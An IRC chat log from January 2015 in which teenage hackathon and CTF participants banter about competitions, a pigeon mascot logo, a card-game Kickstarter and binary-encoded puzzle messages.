[2015-01-21T14:58:22-0500] <@awe> Never heard of it.
[2015-01-21T14:58:25-0500] <Hyper> https://www.youtube.com/watch?v=ZHqFrNyLlpA
[2015-01-21T14:58:30-0500] <Hyper> is the latest video of it
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[2015-01-21T16:26:43-0500] <jwoglom> windows holographic. damn
[2015-01-21T16:35:40-0500] <+JacobEdelman> hmmm... moot is stepping down
[2015-01-21T16:41:12-0500] <+JacobEdelman> awe: you should go on the xkcd irc channell
[2015-01-21T16:41:14-0500] <+JacobEdelman> its on foonetic
[2015-01-21T16:41:40-0500] <+JacobEdelman> I'm having a conversation about your having written an irc nickserv and such in rust
[2015-01-21T16:58:53-0500] <+JacobEdelman> ... xkcd irc is fun
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[2015-01-21T17:00:16-0500] <failedxyz> hei
[2015-01-21T17:00:56-0500] <+JacobEdelman> hello
[2015-01-21T17:06:52-0500] <ubuntor> i think i accidentally made a new irc friend
[2015-01-21T17:06:53-0500] <ubuntor> wat do
[2015-01-21T17:09:50-0500] <failedxyz> lol
[2015-01-21T17:10:58-0500] <+JacobEdelman> ubuntor: who, and where?
[2015-01-21T17:11:20-0500] <ubuntor> some random person that pm'd me, and 2600
[2015-01-21T17:11:28-0500] <failedxyz> what
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[2015-01-21T17:13:12-0500] <failedxyz> hei
[2015-01-21T17:17:45-0500] <Tamini_> ei
[2015-01-21T17:22:02-0500] <+JacobEdelman> hmmm...
[2015-01-21T17:22:41-0500] <@awe> ubuntor: well, you can always invite them here.
[2015-01-21T17:22:57-0500] <+JacobEdelman> yes, please do
[2015-01-21T17:23:16-0500] <+JacobEdelman> (assuming they are under 20)
[2015-01-21T17:23:22-0500] <ubuntor> probably not?
[2015-01-21T17:23:33-0500] <+JacobEdelman> ... stalk them, 
[2015-01-21T17:23:37-0500] <+JacobEdelman> come on, you did hsctf
[2015-01-21T17:23:40-0500] <+JacobEdelman> recon :P
[2015-01-21T17:23:45-0500] <failedxyz> lol
[2015-01-21T17:23:47-0500] <failedxyz> failedxyz
[2015-01-21T17:23:51-0500] <ubuntor> but those were the worst challenges :(
[2015-01-21T17:23:58-0500] <failedxyz> lol
[2015-01-21T17:24:21-0500] <+JacobEdelman> ... true
[2015-01-21T17:24:27-0500] <+JacobEdelman> next year we won't have such a big focus on recon
[2015-01-21T17:24:40-0500] <+JacobEdelman> but still, at least you know how to stalk people now
[2015-01-21T17:24:45-0500] <+JacobEdelman> it's a useful life
[2015-01-21T17:24:48-0500] <+JacobEdelman> *life skill
[2015-01-21T17:24:56-0500] <+JacobEdelman> like for instance
[2015-01-21T17:24:57-0500] <+JacobEdelman> uh....
[2015-01-21T17:25:06-0500] <+JacobEdelman> I can't think any examples actually
[2015-01-21T17:25:13-0500] <failedxyz> lol
[2015-01-21T17:25:23-0500] <Tamini_> loool
[2015-01-21T17:25:27-0500] <Tamini_> when you like someone
[2015-01-21T17:25:34-0500] <Tamini_> and you want to like
[2015-01-21T17:25:40-0500] <Tamini_> know everything about them
[2015-01-21T17:25:45-0500] <failedxyz> lol send a swat team to their house
[2015-01-21T17:25:47-0500] <Tamini_> then stalking is a valuable skill
[2015-01-21T17:25:47-0500] <ubuntor> ...
[2015-01-21T17:25:49-0500] <Tamini_> LOL
[2015-01-21T17:25:59-0500] <Tamini_> yes failedxyz, you obv know how to relationships
[2015-01-21T17:26:04-0500] <failedxyz> lol
[2015-01-21T17:26:42-0500] <+JacobEdelman> Tamini_: have them stalk you?
[2015-01-21T17:26:55-0500] <jwoglom> stalking is fun(tm)!
[2015-01-21T17:27:13-0500] <@awe> JacobEdelman: in all fairness, people are a huge aspect of computer security.
[2015-01-21T17:27:20-0500] <jwoglom> especially when your school makes it possible to see information for large portions of the school body
[2015-01-21T17:27:29-0500] <+Tamini> JacobEdelman: have i not told you that story yet
[2015-01-21T17:27:33-0500] <+Tamini> me and being stalked go way back
[2015-01-21T17:27:41-0500] <+JacobEdelman> no, you have not told me
[2015-01-21T17:28:20-0500] <alokpathy> lolol social engineering CTF problems
[2015-01-21T17:28:47-0500] <+Tamini> lolol
[2015-01-21T17:28:52-0500] <+Tamini> alokpathy: one problem should be
[2015-01-21T17:28:57-0500] <+Tamini> "convince a judge to give you the flag"
[2015-01-21T17:29:10-0500] <alokpathy> Yes
[2015-01-21T17:29:16-0500] <alokpathy> JacobEdelman: That's an HSCTF problem
[2015-01-21T17:29:19-0500] <alokpathy> ^^
[2015-01-21T17:29:22-0500] <+Tamini> and then they find super valid blackmail material
[2015-01-21T17:29:23-0500] <failedxyz> yo i might write a CTF problem with heibot
[2015-01-21T17:29:30-0500] <+Tamini> failedxyz: yeah, i like it
[2015-01-21T17:29:31-0500] <+Tamini> ALSO
[2015-01-21T17:29:37-0500] <+Tamini> you know the story i wrote for easyctf
[2015-01-21T17:29:40-0500] <alokpathy> Also Tamini 'grats on the promotion
[2015-01-21T17:29:49-0500] <+Tamini> that's apparently the plot of every kirby game ever
[2015-01-21T17:29:50-0500] <+Tamini> so I suck
[2015-01-21T17:29:54-0500] <+Tamini> alokpathy: oh, i did?
[2015-01-21T17:29:56-0500] <+Tamini> thanks man
[2015-01-21T17:30:08-0500] <+Tamini> did i tell you got i got trolled
[2015-01-21T17:30:08-0500] <failedxyz> lol Tamini
[2015-01-21T17:30:08-0500] <alokpathy> Tamini: You got like a 900, of course you did xD
[2015-01-21T17:30:15-0500] <+Tamini> because my exact solution to 2 worked for 3
[2015-01-21T17:30:16-0500] <failedxyz> convince a judge that doesn't exist
[2015-01-21T17:30:17-0500] <failedxyz> to give you the flag
[2015-01-21T17:30:20-0500] <+Tamini> i just decided to do something different
[2015-01-21T17:30:26-0500] <alokpathy> Wow okay LOL
[2015-01-21T17:31:04-0500] <+Tamini> wait whoa
[2015-01-21T17:31:07-0500] <+Tamini> my 3 all passed
[2015-01-21T17:31:14-0500] <+Tamini> oh i got a 967 i didnt know
[2015-01-21T17:31:21-0500] <alokpathy> Shouldn't you have known that during the competition?
[2015-01-21T17:31:29-0500] <+Tamini> also my 4 would've been totally fine if i had written it in python instead
[2015-01-21T17:31:33-0500] <+Tamini> i mean
[2015-01-21T17:31:37-0500] <+Tamini> java instead of python*
[2015-01-21T17:31:40-0500] <+Tamini> i was just super lazy :(
[2015-01-21T17:31:41-0500] <+Tamini> also uhh
[2015-01-21T17:31:45-0500] <+Tamini> #3 was the one where i was like
[2015-01-21T17:32:00-0500] <+Tamini> different test cases gave different scores
[2015-01-21T17:32:10-0500] <+Tamini> becase i tle'd on different things each time?
[2015-01-21T17:32:13-0500] <+Tamini> so i think they regraded
[2015-01-21T17:32:27-0500] <alokpathy> Ah, you did yours on Monday?
[2015-01-21T17:32:39-0500] <alokpathy> Yeah they had issues with that since a lot of people did it on Monday
[2015-01-21T17:32:42-0500] <+Tamini> yeah
[2015-01-21T17:32:56-0500] <+Tamini> teach me algo now bb
[2015-01-21T17:33:30-0500] <alokpathy> Tamini: [points you to USACO training]
[2015-01-21T17:33:45-0500] <+Tamini> but sensei pls
[2015-01-21T17:33:55-0500] <+Tamini> i learn better from 3d teachers
[2015-01-21T17:33:56-0500] <+Tamini> also uh
[2015-01-21T17:34:03-0500] <+Tamini> any of you planning to do pilotphilly?
[2015-01-21T17:34:20-0500] <+Tamini> i got invited, but whether i go depends heavily on how many of you kids go
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[2015-01-21T17:34:38-0500] <+Tamini> (mainly looking at alokpathy and JacobEdelman here)
[2015-01-21T17:35:09-0500] <alokpathy> Tamini: When is it?
[2015-01-21T17:35:26-0500] <+Tamini> i want to say
[2015-01-21T17:35:28-0500] <+Tamini> end of january
[2015-01-21T17:35:46-0500] <alokpathy> So, now? :P
[2015-01-21T17:35:48-0500] <alokpathy> Right now?
[2015-01-21T17:35:48-0500] <The_Master> http://www.wired.com/2015/01/microsoft-hands-on
[2015-01-21T17:35:50-0500] <alokpathy> Alright let's go
[2015-01-21T17:35:56-0500] <The_Master> this looks cool if real
[2015-01-21T17:35:58-0500] <+Tamini> wait fuck its
[2015-01-21T17:35:59-0500] <+Tamini> next 
[2015-01-21T17:36:04-0500] <+Tamini> weekend
[2015-01-21T17:36:07-0500] <+Tamini> 31st iirc
[2015-01-21T17:36:19-0500] <+Tamini> iunno
[2015-01-21T17:36:23-0500] <+Tamini> also we were discussing like
[2015-01-21T17:36:39-0500] <+Tamini> "what's our goal because winning and making something cool that we're proud of are two very distinct goals"
[2015-01-21T17:36:39-0500] <alokpathy> Tamini: Idk, I might
[2015-01-21T17:36:43-0500] <+Tamini> and i thought of our old discussion <3
[2015-01-21T17:36:45-0500] <alokpathy> lots of hackathons in the span of little time
[2015-01-21T17:36:48-0500] <+Tamini> yeah.
[2015-01-21T17:36:53-0500] <+Tamini> it's pretty close to hmmt too
[2015-01-21T17:36:59-0500] <alokpathy> Eh not that close
[2015-01-21T17:37:00-0500] <alokpathy> but like
[2015-01-21T17:37:05-0500] <+Tamini> <1 month tho
[2015-01-21T17:37:08-0500] <alokpathy> I probably can't go to hackBCA
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[2015-01-21T17:37:22-0500] <alokpathy> and Pilot Philly is also an HS-only one
[2015-01-21T17:37:26-0500] <alokpathy> so that'd be cool.
[2015-01-21T17:37:33-0500] <alokpathy> Like there's a chance of winning xD
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[2015-01-21T17:39:25-0500] <+Tamini> actually damn
[2015-01-21T17:39:26-0500] <+Tamini> nope
[2015-01-21T17:39:29-0500] <+Tamini> you and jacob shouldnt come
[2015-01-21T17:39:33-0500] <+Tamini> i need to keep up this streak of
[2015-01-21T17:39:42-0500] <+Tamini> jacob-hasn't-beaten-me-in-anything
[2015-01-21T17:40:41-0500] <@awe> Hahahaha.
[2015-01-21T17:40:46-0500] <@awe> Tamini too pro.
[2015-01-21T17:41:03-0500] <+JacobEdelman> too bad
[2015-01-21T17:43:07-0500] <alokpathy> Tamini: If you join JacobEdelman's team, then it'll work :P
[2015-01-21T17:43:20-0500] <+JacobEdelman> .... I'm soloing
[2015-01-21T17:43:26-0500] <+JacobEdelman> I think
[2015-01-21T17:43:47-0500] <+JacobEdelman> oh yes
[2015-01-21T17:43:55-0500] <+JacobEdelman> I just realized, I'm gonna beat Tamini solo! 
[2015-01-21T17:43:59-0500] <+JacobEdelman> oh,.. I just realized
[2015-01-21T17:44:05-0500] <+JacobEdelman> I might not be able to do that
[2015-01-21T17:44:06-0500] <+JacobEdelman> ....
[2015-01-21T17:44:14-0500] <+Tamini> ?
[2015-01-21T17:44:21-0500] <+JacobEdelman> alok willl not be there
[2015-01-21T17:44:24-0500] <+JacobEdelman> do to math competition
[2015-01-21T17:44:29-0500] <+Tamini> wait what math competition what
[2015-01-21T17:44:30-0500] <+JacobEdelman> so I will be a one person team
[2015-01-21T17:44:42-0500] <ubuntor> ooh, can i join?
[2015-01-21T17:44:44-0500] <+Tamini> i am so much more important than some math competition what ru doin apothy
[2015-01-21T17:45:49-0500] <+JacobEdelman> no, sorry
[2015-01-21T17:45:54-0500] <+JacobEdelman> I wanted to try solo
[2015-01-21T17:46:12-0500] <+Tamini> psh
[2015-01-21T17:46:19-0500] <+Tamini> JacobEdelman: you think you can take me? huh? huh?
[2015-01-21T17:46:22-0500] <ubuntor> darn
[2015-01-21T17:46:26-0500] <+JacobEdelman> yes
[2015-01-21T17:46:32-0500] <+Tamini> you wanna go kid
[2015-01-21T17:46:33-0500] <+Tamini> >.<
[2015-01-21T17:46:38-0500] <+Tamini> also im pretty sure
[2015-01-21T17:46:51-0500] <+Tamini> this exact team - me + some senior that's already gotten into stanford and doesn't care
[2015-01-21T17:46:57-0500] <+Tamini> actually won stuff at a hackathon before so
[2015-01-21T17:47:01-0500] <+Tamini> we'll seeeeeeee
[2015-01-21T17:48:16-0500] <alokpathy> Tamini: What?
[2015-01-21T17:48:23-0500] <alokpathy> CMMC conflicts with hackBCA
[2015-01-21T17:48:30-0500] <alokpathy> I thought we established this.
[2015-01-21T17:49:30-0500] <+Tamini> oh
[2015-01-21T17:49:32-0500] <+Tamini> wait
[2015-01-21T17:49:39-0500] <+Tamini> i thought we were talking about philly
[2015-01-21T17:49:49-0500] <+Tamini> when is cmmc again
[2015-01-21T17:49:54-0500] <+Tamini> because i might get a team and go depending
[2015-01-21T17:50:15-0500] <+JacobEdelman> do hackBCA
[2015-01-21T17:51:57-0500] <+Tamini> when is it
[2015-01-21T17:52:06-0500] <+Tamini> you still havent answered that question 
[2015-01-21T17:52:09-0500] <alokpathy> Tamini: March 28th
[2015-01-21T17:52:50-0500] <+Tamini> oh
[2015-01-21T17:52:56-0500] <+Tamini> that sounds sufficiently not terrible
[2015-01-21T17:54:38-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/VDBqCIHs
[2015-01-21T17:54:44-0500] <+JacobEdelman> I am buckely
[2015-01-21T17:54:48-0500] <+JacobEdelman> that just happened
[2015-01-21T17:54:50-0500] <+JacobEdelman> on xkcd irc
[2015-01-21T17:54:52-0500] <+JacobEdelman> I am so happy
[2015-01-21T17:54:58-0500] <+JacobEdelman> :)
[2015-01-21T17:54:59-0500] <+JacobEdelman> :)
[2015-01-21T17:55:00-0500] <+JacobEdelman> :)
[2015-01-21T17:58:16-0500] <+JacobEdelman> i will now leave 
[2015-01-21T17:58:18-0500] <+JacobEdelman> since i have won
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[2015-01-21T17:59:48-0500] <assface> I just took the easiest physics final ever made
[2015-01-21T18:00:09-0500] <+Tamini> okay
[2015-01-21T18:00:18-0500] <+Tamini> assface: glad you did better than me
[2015-01-21T18:00:20-0500] <+Tamini> um
[2015-01-21T18:00:32-0500] <+Tamini> JacobEdelman: im confirmed for pilotphilly
[2015-01-21T18:00:34-0500] <@awe> JacobEdelman: Randall pinged you therefore you have won?
[2015-01-21T18:00:34-0500] <+Tamini> pls come
[2015-01-21T18:01:15-0500] <assface> it was for the first half of AP physics A, so it's not that impressive.
[2015-01-21T18:01:16-0500] <alokpathy> Tamini: lol we just did PennApps
[2015-01-21T18:01:19-0500] <alokpathy> xD
[2015-01-21T18:01:40-0500] <alokpathy> I have a feeling two hackathons in a span of like two weeks
[2015-01-21T18:01:42-0500] <alokpathy> would be tiring
[2015-01-21T18:01:50-0500] <@awe> alokpathy: not really
[2015-01-21T18:01:53-0500] <@awe> alokpathy: go do it
[2015-01-21T18:02:10-0500] <alokpathy> We'll see
[2015-01-21T18:02:14-0500] <alokpathy> Tamini: When do signups end?
[2015-01-21T18:02:22-0500] <alokpathy> Tamini: And would we be on your team?
[2015-01-21T18:03:39-0500] <+Tamini> um
[2015-01-21T18:03:42-0500] <+Tamini> i havent the slightest clue
[2015-01-21T18:03:44-0500] <+Tamini> and probably not :/
[2015-01-21T18:03:49-0500] <alokpathy> Aw okay
[2015-01-21T18:04:00-0500] <+Tamini> i got recruited by a bunch of good friends
[2015-01-21T18:04:09-0500] <+Tamini> so it'd be nice if i could seee you too
[2015-01-21T18:04:45-0500] <alokpathy> You'll see us at HMMT anyways :P
[2015-01-21T18:05:02-0500] <alokpathy> awe: PilotPhilly is 24-hours, so it'll probably be more taxing
[2015-01-21T18:05:06-0500] <alokpathy> 'cause there's like no time to sleep.
[2015-01-21T18:05:18-0500] <alokpathy> We each pulled all-nighters at hackBCA.
[2015-01-21T18:07:52-0500] <+JacobEdelman> I have school, my next hackathon is hackBCA
[2015-01-21T18:07:52-0500] <+JacobEdelman> (also, alokpathy slept for like 10 min during hackBCA, so he didn;t pull a real alnighter)
[2015-01-21T18:07:57-0500] <+JacobEdelman> awe: yes, I have won
[2015-01-21T18:08:31-0500] <+Tamini> lol
[2015-01-21T18:08:37-0500] <+Tamini> who sleeps during hackathons, smh
[2015-01-21T18:09:30-0500] <+JacobEdelman> ... we slept something like 9 hrs the first night of pennapps
[2015-01-21T18:09:41-0500] <+JacobEdelman> but only 5 the second
[2015-01-21T18:11:20-0500] <alokpathy> JacobEdelman: Calm yourself it was at 6am
[2015-01-21T18:11:35-0500] <+JacobEdelman> what was?
[2015-01-21T18:11:38-0500] <+JacobEdelman> you sleeping?
[2015-01-21T18:19:51-0500] <alokpathy> Yeah
[2015-01-21T18:20:36-0500] <@awe> Tamini: they're weak.
[2015-01-21T18:20:51-0500] <unitedjaymo> HEYY
[2015-01-21T18:20:55-0500] <unitedjaymo> i'M BACKKK
[2015-01-21T18:21:04-0500] <alokpathy> unitedjaymo: Ayo sup
[2015-01-21T18:21:39-0500] <+Tamini> awe: yes, yes they are
[2015-01-21T18:21:43-0500] <+Tamini> unitedjaymo: you know
[2015-01-21T18:21:46-0500] <+Tamini> whenever you come here and talk
[2015-01-21T18:21:49-0500] <+Tamini> i feel obligated to do math
[2015-01-21T18:22:53-0500] <unitedjaymo> Is this like
[2015-01-21T18:23:00-0500] <unitedjaymo> The ultimate destination of procrastination?
[2015-01-21T18:24:35-0500] <Pharyngeal> Yessir
[2015-01-21T18:28:13-0500] <+Tamini> <3
[2015-01-21T18:28:15-0500] <+Tamini> im glad you're here, kid
[2015-01-21T18:28:17-0500] <+Tamini> we've missed you
[2015-01-21T18:28:19-0500] <+Tamini> yo jmo
[2015-01-21T18:28:25-0500] <+Tamini> pilotphilly?
[2015-01-21T18:28:30-0500] <assface> I'd argue steam is the ultimate procrastination destination
[2015-01-21T18:50:00-0500] <@awe> I have to write three one-page reflections on articles I read for tomorrow.
[2015-01-21T18:50:03-0500] <@awe> But I *really* don't want to do it.
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[2015-01-21T19:02:43-0500] <+Tamini> its okay, awe
[2015-01-21T19:02:45-0500] <+Tamini> you got this man
[2015-01-21T19:03:50-0500] <@awe> I just bought Exploding Kittens. ^^
[2015-01-21T19:03:53-0500] <@awe> https://www.kickstarter.com/projects/elanlee/exploding-kittens
[2015-01-21T19:05:29-0500] <bob_twinkles> how did they even
[2015-01-21T19:05:42-0500] <@awe> Matt Inman.
[2015-01-21T19:05:43-0500] <@awe> That'sh ow.
[2015-01-21T19:05:44-0500] <@awe> how*
[2015-01-21T19:06:29-0500] <bob_twinkles> that'd do it
[2015-01-21T19:06:50-0500] <@awe> I suspect this game will be as ubiquitous as Cards Against Humanity.
[2015-01-21T19:06:56-0500] <@awe> Especially since there's a NSFW version.
[2015-01-21T19:07:01-0500] <@awe> (I got the NSFW one)
[2015-01-21T19:10:27-0500] <+Tamini> hey hey hey
[2015-01-21T19:10:30-0500] <+Tamini> from the gits chat:
[2015-01-21T19:10:36-0500] <+Tamini> we need to make a ctf called ""
[2015-01-21T19:10:45-0500] <+Tamini> also omg awe
[2015-01-21T19:20:28-0500] <@awe> Yes?
[2015-01-21T19:22:47-0500] <+hardmath123> nomination for pdgn logo: https://gfycat.com/YearlyTestyEmperorpenguin
[2015-01-21T19:25:09-0500] <+Tamini> the kickstarter
[2015-01-21T19:25:10-0500] <+Tamini> and lol
[2015-01-21T19:25:47-0500] <+JacobEdelman> I'm buckley on #xkcd
[2015-01-21T19:26:29-0500] <@awe> Tamini: it's great, Matt Inman + card game = win
[2015-01-21T19:26:46-0500] <@awe> hardmath123: We have someone making a pdgn logo. :p
[2015-01-21T19:27:44-0500] <@awe> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xpf1/v/t35.0-12/10927283_932982070087239_301559703_o.jpg?oh=47682f9a155e09f1aea8cb06b258601d&oe=54C2CC10&__gda__=1422027213_b30c77f35dff1c546799b1e004ebce37
[2015-01-21T19:27:48-0500] <@awe> These are some sketches.
[2015-01-21T19:28:08-0500] <@awe> I requested something like the top right one in Sunday with a face like the speaking one in Friday.
[2015-01-21T19:28:09-0500] <+Tamini> oh, thats adorable
[2015-01-21T19:28:47-0500] <alokpathy> woo Shannon
[2015-01-21T19:29:47-0500] <+hardmath123> ooh twitterey
[2015-01-21T19:31:02-0500] <@awe> And then I'll make us a pretty minimalistic home page
[2015-01-21T19:31:37-0500] <+hardmath123> minimalistic == no bottstrap/jquery?
[2015-01-21T19:32:08-0500] <alokpathy> or CSS
[2015-01-21T19:32:16-0500] <alokpathy> or HTML
[2015-01-21T19:32:26-0500] <alokpathy> Just nothing.
[2015-01-21T19:32:53-0500] <@awe> hardmath123: minimalistic as in design
[2015-01-21T19:33:01-0500] <+hardmath123> oh
[2015-01-21T19:33:01-0500] <@awe> hardmath123: I may use bootstrap, may not.
[2015-01-21T19:33:12-0500] <@awe> hardmath123: I won't need JS for a one-page site though.
[2015-01-21T19:33:17-0500] <+hardmath123> yay
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[2015-01-21T19:49:46-0500] <assface> eyy
[2015-01-21T19:50:19-0500] <@awe> hey assface
[2015-01-21T19:54:58-0500] <+JacobEdelman> awe: use lots of blink tags in the pdgn page
[2015-01-21T19:55:16-0500] <@awe> I'm pretty sure WebKit doesn't even render them anymore.
[2015-01-21T19:55:32-0500] <+JacobEdelman> ahhh...
[2015-01-21T19:55:45-0500] <+JacobEdelman> make them with js 
[2015-01-21T19:55:48-0500] <+JacobEdelman> its worth it
[2015-01-21T19:56:23-0500] <@awe> It'll apparently do marquees though.
[2015-01-21T19:57:16-0500] <assface> use lots of stock gifs
[2015-01-21T19:57:33-0500] <+JacobEdelman> lots of obnoxiusly bright colors
[2015-01-21T19:57:58-0500] <+JacobEdelman> make the background a gif
[2015-01-21T19:58:03-0500] <assface> and several different fonts
[2015-01-21T19:58:15-0500] <+JacobEdelman> and everything should break when the browser changes sizes
[2015-01-21T19:58:46-0500] <assface> just make it bare HTML too
[2015-01-21T19:59:04-0500] <assface> CSS is for wusses
[2015-01-21T20:00:54-0500] <+JacobEdelman> no, have lots of css, just only in css attributes in html tags
[2015-01-21T20:01:02-0500] <calc0000> JacobEdelman: and everything should break when the browser changes sizes
[2015-01-21T20:01:05-0500] <calc0000> this already happens
[2015-01-21T20:01:16-0500] <+JacobEdelman> omg, calc0000spoke
[2015-01-21T20:01:23-0500] <+JacobEdelman> *calc0000 spoke
[2015-01-21T20:01:53-0500] <+JacobEdelman> this is a once in a week time occurence
[2015-01-21T20:02:03-0500] <assface> once in a week-time?
[2015-01-21T20:02:09-0500] <calc0000> naw it happened like two days ago too
[2015-01-21T20:02:28-0500] <assface> how many meter-lengths per second-time?
[2015-01-21T20:02:40-0500] <@awe> eleventy four.
[2015-01-21T20:02:54-0500] <+JacobEdelman> wait, I'm looking at these sketches for pdgn
[2015-01-21T20:02:56-0500] <+JacobEdelman> and I gotta say
[2015-01-21T20:03:01-0500] <+JacobEdelman> pdgn has some weight issues
[2015-01-21T20:03:04-0500] <assface> I'll get back to you in a few day-times
[2015-01-21T20:03:18-0500] <@awe> That's not pdgn.
[2015-01-21T20:03:19-0500] <@awe> That's Pidgey.
[2015-01-21T20:03:22-0500] <@awe> And she's beautiful, thank you.
[2015-01-21T20:03:28-0500] <assface> POKEMANS
[2015-01-21T20:03:40-0500] <calc0000> stop fat shaming pdgn 
[2015-01-21T20:03:40-0500] <@awe> assface: nah, Pidgey is our mascot.
[2015-01-21T20:03:50-0500] <assface> your mascot is a pokeman?
[2015-01-21T20:03:58-0500] <@awe> No, it's a pigeon named Pidgey.
[2015-01-21T20:04:06-0500] <assface> ei a pokeman
[2015-01-21T20:04:09-0500] <assface> *ie
[2015-01-21T20:04:28-0500] <@awe> But she will in fact look nothing like a pokemon.
[2015-01-21T20:04:34-0500] <+JacobEdelman> hmm... fine, I guess she/he is a good weight
[2015-01-21T20:04:41-0500] <+Tamini> yooo
[2015-01-21T20:04:49-0500] <+Tamini> someone go congratulate brice
[2015-01-21T20:04:55-0500] <@awe> congratulate brice
[2015-01-21T20:05:41-0500] <+Tamini> oh alok beat me to it darn
[2015-01-21T20:05:46-0500] <@awe> 10010101001010101000101000010100101010010101011111100100001010100010101111000101010010101000010101001010101110000010100101000101000111010010010101011111000010101010000100001111000101011100101000111000011000011001001100101100010001010100101
[2015-01-21T20:06:05-0500] <+JacobEdelman> ... ?
[2015-01-21T20:06:26-0500] <assface> &#8226;*&#352;&#169;W&#228;*+&#197;J&#8230;J&#184;)E%_
[2015-01-21T20:06:28-0500] <assface> &#161;&#202;8a&#8220;,EJ
[2015-01-21T20:06:30-0500] <@awe> u herd me
[2015-01-21T20:06:50-0500] <assface> that's what it translates in ascii
[2015-01-21T20:06:54-0500] <@awe> 101101010100100100001001010001010010010011001000101000100100001011001101010111100101010111001000101011010010101010101010000101000101000100001010101111000001010100001111
[2015-01-21T20:07:12-0500] <assface> &#181;I	E$&#200;&#162;B&#205;^U&#200;&#173;*&#170;Q
[2015-01-21T20:07:13-0500] <assface> &#188;
[2015-01-21T20:07:45-0500] <+JacobEdelman> awe: come on, its not like I do ctfs or anything
[2015-01-21T20:07:47-0500] <@awe> 01101010011000010110001101101111011000100010000001101001011100110010000001100001001000000111001101101000011010010111010001010010001010010101010101011101010111100101010
[2015-01-21T20:07:59-0500] <assface> http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.asp
[2015-01-21T20:08:01-0500] <@awe> Sorry, I forgot a 1.
[2015-01-21T20:08:06-0500] <@awe> 1 at the end.
[2015-01-21T20:08:26-0500] <assface> im not translating that
[2015-01-21T20:08:32-0500] <@awe> Why not?
[2015-01-21T20:08:43-0500] <assface> well, I'm, not posting it
[2015-01-21T20:08:48-0500] <assface> he can find out himself :)
[2015-01-21T20:09:12-0500] <@awe> 011000010111001101110011011001100110000101100011011001010010000001101001011100110010000001101101011110010010000001100010011011110110111100101110
[2015-01-21T20:09:50-0500] <assface> 011010000110000101101000011000010010000001101101011000010110010001100101001000000111100101101111011101010010000001101100011011110110111101101011
[2015-01-21T20:09:51-0500] <+Tamini> lol
[2015-01-21T20:09:51-0500] <+JacobEdelman> you are a meany awe
[2015-01-21T20:10:00-0500] <@awe> 0100010101010011010101000100010000100000010101000100010000100000010011000010000001000100010100000100111001000011010100000100010100101110
[2015-01-21T20:10:54-0500] <assface> e-STDs?
[2015-01-21T20:11:00-0500] <@awe> Sure.
[2015-01-21T20:11:10-0500] <assface> you can get a virus from having sex with a computer?
[2015-01-21T20:12:17-0500] <@awe> Yes.
[2015-01-21T20:12:44-0500] <assface> so that's why I have herpes
[2015-01-21T20:13:29-0500] <+JacobEdelman> awe: caesar
[2015-01-21T20:13:34-0500] <+JacobEdelman> took me two seconds
[2015-01-21T20:14:34-0500] <assface> >he actually bothered to decrypt it
[2015-01-21T20:15:03-0500] <+JacobEdelman> of course
[2015-01-21T20:15:07-0500] <jwoglom> the most difficult part is probably just copying and pasting the binary
[2015-01-21T20:15:12-0500] <+JacobEdelman> I'm compulsive ctf solver
[2015-01-21T20:15:17-0500] <+JacobEdelman> *I'm a
[2015-01-21T20:15:22-0500] <+JacobEdelman> jwoglom: yup
[2015-01-21T20:15:30-0500] <jwoglom> because lazy
[2015-01-21T20:16:20-0500] <assface> Im the opposite
[2015-01-21T20:16:32-0500] <assface> if I see something encrypted I'm like "maaaang, there's got to be a way around that"
[2015-01-21T20:16:45-0500] <assface> and when there's not I do something else
[2015-01-21T20:17:11-0500] <assface> for instance, complaining about getting herpes from a computer
[2015-01-21T20:17:21-0500] <+JacobEdelman> arseface: have you done any ctfs?
[2015-01-21T20:17:28-0500] <assface> no
[2015-01-21T20:17:37-0500] <assface> I don'
[2015-01-21T20:17:42-0500] <assface> t intend too either
[2015-01-21T20:17:49-0500] <+JacobEdelman> why not?
[2015-01-21T20:18:51-0500] <assface> I've never stayed up for 24 hours and enjoyed it.
[2015-01-21T20:18:58-0500] <@awe> 12476626571563493209029217274705048092277954850011475
[2015-01-21T20:19:25-0500] <assface> not to mention I'm terrible at codebreaking
[2015-01-21T20:19:36-0500] <+JacobEdelman> arseface: some ctfs are more than 24 hours
[2015-01-21T20:19:41-0500] <+JacobEdelman> I don't like staying up too much
[2015-01-21T20:20:00-0500] <@awe> Yeah, JacobEdelman is too weak.
[2015-01-21T20:20:03-0500] <assface> I think it's funny how you refuse to type my nick
[2015-01-21T20:20:03-0500] <@awe> He goes to bed at 10.
[2015-01-21T20:20:10-0500] <assface> pfft
[2015-01-21T20:20:22-0500] <assface> 6 hours a night and I'm good.
[2015-01-21T20:20:50-0500] <alokpathy> 6 hours of sleep is death time for me.
[2015-01-21T20:20:54-0500] <alokpathy> If I get 5, I'm good.
[2015-01-21T20:20:56-0500] <@awe> JacobEdelman: are you going to codebreak that?
[2015-01-21T20:21:00-0500] <alokpathy> If I get 7, I'm good.
[2015-01-21T20:21:04-0500] <alokpathy> If I get 6, I'm dead the whole day.
[2015-01-21T20:21:41-0500] <assface> 8-6 hours: good. 5-4 hours: dead. 3-1 hours: good. 1-0 hours: dead.
[2015-01-21T20:22:49-0500] <@awe> JacobEdelman: oh, wait, nevermind, that won't work.
[2015-01-21T20:23:19-0500] <alokpathy> ^^
[2015-01-21T20:23:58-0500] <assface> is that an RSA key or what?
[2015-01-21T20:24:13-0500] Tamini_ (uid33458@pdgn-vvu.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-01-21T20:24:58-0500] <@awe> 5473812871019203784619130959483760287574
[2015-01-21T20:25:13-0500] <+JacobEdelman> arseface: you are over thinking it
[2015-01-21T20:25:32-0500] <assface> ehh
[2015-01-21T20:25:47-0500] <assface> text->base10?
[2015-01-21T20:26:04-0500] <@awe> 18046970407382372461895100300998635427151
[2015-01-21T20:26:06-0500] <@awe> There you go.
[2015-01-21T20:26:08-0500] <@awe> That should do it.
[2015-01-21T20:27:33-0500] <+JacobEdelman> I'm too lazy
[2015-01-21T20:27:36-0500] <+JacobEdelman> maybe tommorow
[2015-01-21T20:28:11-0500] <alokpathy> "compulsize ctf solver"
[2015-01-21T20:28:15-0500] <@awe> ^
[2015-01-21T20:28:15-0500] <@awe> right?
[2015-01-21T20:28:20-0500] <alokpathy> compulsive*
[2015-01-21T20:28:29-0500] <assface> cumplosive?
[2015-01-21T20:28:38-0500] <@awe> cumsplosive
[2015-01-21T20:28:40-0500] <@awe> I am cumsplosive.
[2015-01-21T20:28:43-0500] <assface> ^
[2015-01-21T20:28:48-0500] <+JacobEdelman> I don't spellzeee
